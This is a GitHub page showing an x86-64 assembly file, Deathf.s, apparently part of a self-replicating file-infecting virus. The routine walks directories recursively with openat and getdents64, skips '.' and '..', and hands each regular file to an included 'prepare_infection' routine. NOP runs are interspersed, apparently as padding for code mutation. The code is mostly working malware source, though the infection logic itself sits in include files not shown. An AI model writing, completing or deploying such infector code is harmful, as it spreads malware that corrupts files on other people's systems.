-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathDeathf.s
More file actions
229 lines (207 loc) · 3.5 KB
/
Copy pathDeathf.s
File metadata and controls
229 lines (207 loc) · 3.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
Death:
push r12
push rax
push rcx
push rsi
push rdi
push rdx
mov rsi, [rbp + 16]
add rsi, mydata.path
;lea rsi, [rel path]
;call [rbp + 40]
;call printf ;here
mov rdi, [rbp + 16]
add rdi, mydata.buff
;lea rdi, [rel buff]
mov rcx, 512
xor rax, rax
NOP
NOP
NOP
NOP
rep stosq
mov rax, SYS_openat
mov rdi, AT_FDCWD
mov rsi, [rbp + 16]
add rsi, mydata.path
;lea rsi, [rel path]
xor rdx, rdx
NOP
NOP
NOP
NOP
xor r10, r10
NOP
NOP
NOP
NOP
syscall
mov r12, rax
mov rdi, rax
push rdi
;SYS_getdents64
;struct linux_dirent64 {
;ino64_t d_ino; // 8 bytes : numéro d'inode
;off64_t d_off; // 8 bytes : offset du prochain dirent
;unsigned short d_reclen; // 2 bytes : taille de cette entrée
;unsigned char d_type; // 1 byte : type de fichier
;char d_name[]; // nom du fichier (null-terminated)
;};
mov rax, SYS_getdents64
mov rsi, [rbp + 16]
add rsi, mydata.buff
;lea rsi, [rel buff]
mov rdx, 4096
syscall
;call print_rax
mov rdx, rax
xor rdi, rdi
NOP
NOP
NOP
NOP
.loop:
cmp rdx, rdi
jle .done
add rdi, 16
push rbx
mov rbx, [rbp + 16]
add rbx, mydata.buff
;lea rbx, [rel buff]
movzx rcx, word [rbx + rdi]
add rdi, 2
movzx rax, byte [rbx + rdi]
pop rbx
add rdi, 1
sub rcx, 19
add rdi, rcx
add rsi, 19
cmp rax, 4
jne .file
push rsi
push rcx
push rdi
mov rcx, 2
mov rdi, [rbp + 16]
add rdi, mydata.curr
;lea rdi, [rel curr]
repe cmpsb
pop rdi
pop rcx
pop rsi
je .no_print
push rsi
push rcx
push rdi
mov rcx, 3
mov rdi, [rbp + 16]
add rdi, mydata.last
;lea rdi, [rel last]
repe cmpsb
pop rdi
pop rcx
pop rsi
je .no_print
; Ici seulement les files
push rdi
push rsi
push rax
mov rdi, [rbp + 16]
add rdi, mydata.path
;lea rdi, [rel path]
xchg rsi, rdi
%include "functions/add_val.s"
;call add_val
pop rax
pop rsi
pop rdi
call [rbp + 32]
push rsi
mov rsi, [rbp + 16]
add rsi, mydata.path
;lea rsi, [rel path]
%include "functions/sub_val0.s"
;call sub_val
pop rsi
push rax
push rcx
push rsi
push rdi
push rdx
mov rdi, [rbp + 16]
add rdi, mydata.buff
;lea rdi, [rel buff]
mov rcx, 512
xor rax, rax
NOP
NOP
NOP
NOP
rep stosq
mov rax, SYS_close
mov rdi, r12
syscall
mov rax, SYS_openat
mov rdi, AT_FDCWD
mov rsi, [rbp + 16]
add rsi, mydata.path
;lea rsi, [rel path]
xor rdx, rdx
NOP
NOP
NOP
NOP
xor r10, r10
NOP
NOP
NOP
NOP
syscall
mov rdi, rax
mov rax, SYS_getdents64
mov rsi, [rbp + 16]
add rsi, mydata.buff
;lea rsi, [rel buff]
mov rdx, 4096
syscall
pop rdx
pop rdi
pop rsi
pop rcx
pop rax
jmp .no_print
.file:
;call printf ;logique des fichier
push rdi
push rsi
push rax
mov rdi, [rbp + 16]
add rdi, mydata.path
;lea rdi, [rel path]
xchg rsi, rdi
%include "functions/add_val0.s"
pop rax
pop rsi
pop rdi
mov rax, [rbp + 16]
add rax, mydata.path
mov rax, [rax + 1]
cmp al, 0
je .error
%include "functions/prepare_infection.s"
;call prepare_infection
.no_print:
add rsi, rcx
jmp .loop
.error:
.done:
pop rdi
mov rax, SYS_close
syscall
pop rdx
pop rdi
pop rsi
pop rcx
pop rax
pop r12
ret